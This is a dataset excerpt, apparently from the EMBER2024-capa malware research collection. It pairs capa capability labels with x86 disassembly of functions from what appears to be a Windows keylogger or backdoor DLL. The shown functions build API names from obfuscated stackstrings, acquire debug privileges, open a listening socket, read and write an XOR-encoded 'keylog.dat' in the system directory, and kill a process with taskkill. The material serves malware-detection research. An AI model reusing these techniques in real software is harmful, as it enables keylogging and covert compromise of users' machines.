joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007767
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 0x4c], ecx
push 0x10022d44
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x74
mov byte [ebp - 0x39], 0x46
mov byte [ebp - 0x38], 0x69
mov byte [ebp - 0x37], 0x6c
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x50
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x6e
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x72
mov byte [ebp - 0x2e], 0
lea eax, [ebp - 0x3c]
push eax
push 0x10022d54
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x48], 9
mov ecx, dword [ebp + 8]
add ecx, 8
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x44]
mov eax, dword [edx + 4]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
sub ecx, 8
mov dword [ebp - 4], ecx
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
mov edx, dword [ebp - 0x4c]
add edx, 0x124
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x40], eax
push 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x40]
push edx
call dword [ebp - 0xc]
mov dword [ebp - 0x14], 0
push 0
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x2c], 0x70
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], edx
push 4
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x2b]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x27]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 9
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, dword [ebp - 0x4c]
call fcn.1000de40
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esp, ebp
pop ebp
ret 8
Function at 0x10008259
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 4], 0
mov dword [ebp - 0x114], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
jne 0x100082bb
xor eax, eax
jmp 0x10008364
push 2
push 0
push 0xfffffc00
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x118]
mov dword [ebp - 4], ecx
push 0
lea edx, [ebp - 0x114]
push edx
push 0x400
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x400
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.100081ce
add esp, 0x10
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffff
jne 0x1000835b
mov edx, dword [ebp - 4]
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
jmp 0x10008364
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x10c]
mov esp, ebp
pop ebp
ret

Function at 0x10008f1f
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push edi
mov dword [ebp - 0x14], 0
push 0x2f
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10008f4f
xor al, al
jmp 0x10008ffc
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10014db9
add esp, 8
and eax, 0xff
test eax, eax
jne 0x10008f6f
xor al, al
jmp 0x10008ffc
mov dword [ebp - 0x68], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x64]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x68], 0x44
mov byte [ebp - 0x24], 0x57
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x53
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x30
mov byte [ebp - 0x1d], 0x5c
mov byte [ebp - 0x1c], 0x44
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x66
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], 0x75
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x74
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x60]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push str.X6___HJ_dtd
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
neg eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000933e
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
push edi
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
jne 0x1000935f
xor al, al
jmp 0x10009504
mov dword [ebp - 0x12c], str.Applicationsiexplore.exe_shellopencommand
mov dword [ebp - 0x14], 0x104
mov dword [ebp - 0x178], 0
push 0x104
push 0
lea ecx, [ebp - 0x118]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x174]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0x12c]
push eax
push 0x80000000
call dword [0x10025d60]
test eax, eax
je 0x100093bb
xor al, al
jmp 0x10009504
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x118]
push edx
push 0
mov eax, dword [ebp - 0x174]
push eax
call dword [0x10025d64]
mov ecx, dword [ebp - 0x174]
push ecx
call dword [0x10025cc4]
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x100093fa
xor al, al
jmp 0x10009504
push 0x10023ac4
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0
jne 0x10009425
xor al, al
jmp 0x10009504
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x178]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x170], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x16c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x170], 0x44
mov byte [ebp - 0x128], 0x57
mov byte [ebp - 0x127], 0x69
mov byte [ebp - 0x126], 0x6e
mov byte [ebp - 0x125], 0x53
mov byte [ebp - 0x124], 0x74
mov byte [ebp - 0x123], 0x61
mov byte [ebp - 0x122], 0x30
mov byte [ebp - 0x121], 0x5c
mov byte [ebp - 0x120], 0x44
mov byte [ebp - 0x11f], 0x65
mov byte [ebp - 0x11e], 0x66
mov byte [ebp - 0x11d], 0x61
mov byte [ebp - 0x11c], 0x75
mov byte [ebp - 0x11b], 0x6c
mov byte [ebp - 0x11a], 0x74
cmp dword [ebp + 0xc], 0
je 0x100094dc
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x168]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x170]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x118]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10009645
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x10025cb4]
test eax, eax
jne 0x10009666
xor al, al
jmp 0x100096d7
lea ecx, [ebp - 0x18]
push ecx
push 0x10023b58
push 0
call dword [0x10025d14]
test eax, eax
jne 0x10009689
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x100096d7
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x10025d18]
test eax, eax
jne 0x100096cb
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x100096d7
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x1000ac63
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c0
mov byte [ebp - 0x1a8], 0x53
mov byte [ebp - 0x1a7], 0x6c
mov byte [ebp - 0x1a6], 0x65
mov byte [ebp - 0x1a5], 0x65
mov byte [ebp - 0x1a4], 0x70
mov byte [ebp - 0x1a3], 0
lea eax, [ebp - 0x1a8]
push eax
push 0x10023cb8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1bc], eax
lea ecx, [ebp - 0x194]
push ecx
push 0x202
call dword [0x10025f28]
test eax, eax
je 0x1000acd2
xor eax, eax
jmp 0x1000ae18
push 6
push 1
push 2
call dword [0x10025f08]
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0xffffffff
jne 0x1000acf4
xor eax, eax
jmp 0x1000ae18
mov word [ebp - 0x1b8], 0
xor edx, edx
mov dword [ebp - 0x1b6], edx
mov dword [ebp - 0x1b2], edx
mov dword [ebp - 0x1ae], edx
mov word [ebp - 0x1aa], dx
mov word [ebp - 0x1b8], 2
mov ax, word [0x10026364]
push eax
call dword [0x10025f10]
mov word [ebp - 0x1b6], ax
mov dword [ebp - 0x1b4], 0
push 0x10
lea ecx, [ebp - 0x1b8]
push ecx
mov edx, dword [ebp - 0x19c]
push edx
call dword [0x10025ed0]
cmp eax, 0xffffffff
jne 0x1000ad61
xor eax, eax
jmp 0x1000ae18
push 0x32
mov eax, dword [ebp - 0x19c]
push eax
call dword [0x10025f24]
cmp eax, 0xffffffff
jne 0x1000ad7c
xor eax, eax
jmp 0x1000ae18
mov dword [ebp - 4], 0xffffffff
mov ecx, 1
test ecx, ecx
je 0x1000ae18
push 0
push 0
mov edx, dword [ebp - 0x19c]
push edx
call dword [0x10025ed8]
mov dword [ebp - 4], eax
push 8
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jne 0x1000adc0
jmp 0x1000ad83
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
lea edx, [ebp - 0x198]
push edx
push 0
mov eax, dword [ebp - 0x1a0]
push eax
push 0x1000a7bf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
jne 0x1000ae06
push 0x3e8
call dword [ebp - 0x1bc]
jmp 0x1000ae13
mov ecx, dword [ebp - 0x1c0]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000ad83
mov esp, ebp
pop ebp
ret
Function at 0x1000c343
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001cf10
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1058
call fcn.1001c590
push 0x10023cf8
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x1048]
call fcn.1000d9a0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
push eax
push 0x10023d14
push 0x20
lea ecx, [ebp - 0x1044]
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
mov dx, word [ebp + 0x14]
mov word [ebp - 0x1024], dx
mov ax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.1000c14e
add esp, 8
mov dword [ebp - 0x1050], eax
cmp dword [ebp - 0x1050], 0
ja 0x1000c3dc
jmp 0x1000c4c5
mov edx, dword [ebp - 0x1050]
mov dword [ebp - 0x1020], edx
mov eax, 1
test eax, eax
je 0x1000c4c5
push 0
push 2
lea ecx, [ebp - 0x1054]
push ecx
mov edx, dword [ebp - 0x1050]
push edx
call dword [0x10025f00]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jg 0x1000c41b
jmp 0x1000c4c5
mov eax, dword [0x1002658c]
add eax, 1
mov dword [0x1002658c], eax
mov cx, word [ebp - 0x1054]
push ecx
lea ecx, [ebp - 0x101c]
call fcn.1000d900
lea edx, [ebp - 0x104c]
push edx
push 0
lea eax, [ebp - 0x1048]
push eax
push 0x1000c298
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x105c], 0x53
mov byte [ebp - 0x105b], 0x6c
mov byte [ebp - 0x105a], 0x65
mov byte [ebp - 0x1059], 0x65
mov byte [ebp - 0x1058], 0x70
mov byte [ebp - 0x1057], 0
lea ecx, [ebp - 0x105c]
push ecx
push 0x10023d18
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1060], eax
cmp dword [ebp - 0x10], 0
je 0x1000c4b5
mov edx, dword [ebp - 0x10]
push edx
call dword [ebp - 0x18]
jmp 0x1000c4c0
push 0x3e8
call dword [ebp - 0x1060]
jmp 0x1000c3e8
mov eax, dword [ebp - 0x1050]
push eax
call dword [0x10025efc]
mov dword [ebp - 0x1064], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1048]
call fcn.1000d9e0
mov eax, dword [ebp - 0x1064]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000c727
Capabilities:
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x104
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x10023d28
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x14], 0
push 0
mov eax, dword [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x3200000
jae 0x1000c7ae
push 2
push 0
push 0
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
jmp 0x1000c7e8
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 4]
jge 0x1000c806
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
movsx edx, byte [ecx]
xor edx, 0x62
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov byte [eax], dl
jmp 0x1000c7df
push 0
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x1000cd7b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov byte [ebp - 0x28], 0x50
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x33
mov byte [ebp - 0x20], 0x32
mov byte [ebp - 0x1f], 0x46
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x73
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0
lea eax, [ebp - 0x28]
push eax
push 0x10023d7c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov byte [ebp - 0x18], 0x50
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x33
mov byte [ebp - 0x10], 0x32
mov byte [ebp - 0xf], 0x4e
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x78
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0
lea ecx, [ebp - 0x18]
push ecx
push 0x10023d8c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x30], eax
push 0x128
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0x128
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call dword [ebp - 4]
test eax, eax
je 0x1000ceeb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x1000ce74
xor eax, eax
jmp 0x1000ceed
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 4
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x24
push ecx
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jbe 0x1000cea7
mov eax, 1
jmp 0x1000ceed
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x30]
push eax
call dword [ebp - 8]
test eax, eax
je 0x1000ceeb
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 4
push eax
mov edx, dword [ebp - 0x2c]
add edx, 0x24
push edx
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jbe 0x1000cee9
mov eax, 1
jmp 0x1000ceed
jmp 0x1000cea7
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000d056
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov dword [eax], 0x1001e294
mov dword [ebp - 4], 0
jmp 0x1000d07a
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp eax, dword [edx + 0x9f54]
jae 0x1000d0b4
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000d071
mov ecx, dword [ebp - 8]
call fcn.1000de12
mov esp, ebp
pop ebp
ret

Function at 0x1000d87f
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
push str.taskkill__f__t__im_carss.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x10023dcc
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
add eax, 0x214
push eax
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esp, ebp
pop ebp
ret

Function at 0x1000dc17
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [ebp - 0x128], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x114], 0
push 0x104
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.keylog.dat
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
je 0x1000dd60
push 0
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x120], eax
mov edx, dword [ebp - 0x120]
mov dword [ebp - 0x118], edx
push 0
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x118]
push edx
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x11c], 0
jmp 0x1000dd00
mov ecx, dword [ebp - 0x11c]
add ecx, 1
mov dword [ebp - 0x11c], ecx
mov edx, dword [ebp - 0x11c]
cmp edx, dword [ebp - 8]
jae 0x1000dd2c
mov eax, dword [ebp - 0x118]
add eax, dword [ebp - 0x11c]
mov cl, byte [eax]
xor cl, 0x62
mov edx, dword [ebp - 0x118]
add edx, dword [ebp - 0x11c]
mov byte [edx], cl
jmp 0x1000dcf1
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x118]
push ecx
mov ecx, dword [ebp - 0x128]
call fcn.1000dbac
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x124]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x1000e01f
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Get file attributes
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov dword [ebp - 0x124], ecx
mov byte [ebp - 0x120], 0x47
mov byte [ebp - 0x11f], 0x65
mov byte [ebp - 0x11e], 0x74
mov byte [ebp - 0x11d], 0x57
mov byte [ebp - 0x11c], 0x69
mov byte [ebp - 0x11b], 0x6e
mov byte [ebp - 0x11a], 0x64
mov byte [ebp - 0x119], 0x6f
mov byte [ebp - 0x118], 0x77
mov byte [ebp - 0x117], 0x73
mov byte [ebp - 0x116], 0x44
mov byte [ebp - 0x115], 0x69
mov byte [ebp - 0x114], 0x72
mov byte [ebp - 0x113], 0x65
mov byte [ebp - 0x112], 0x63
mov byte [ebp - 0x111], 0x74
mov byte [ebp - 0x110], 0x6f
mov byte [ebp - 0x10f], 0x72
mov byte [ebp - 0x10e], 0x79
mov byte [ebp - 0x10d], 0x41
mov byte [ebp - 0x10c], 0
lea eax, [ebp - 0x120]
push eax
push 0x10023e48
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x104
lea ecx, [ebp - 0x108]
push ecx
call dword [ebp - 4]
push str.Plugins
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000e12a
push 0x10023e64
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esp, ebp
pop ebp
ret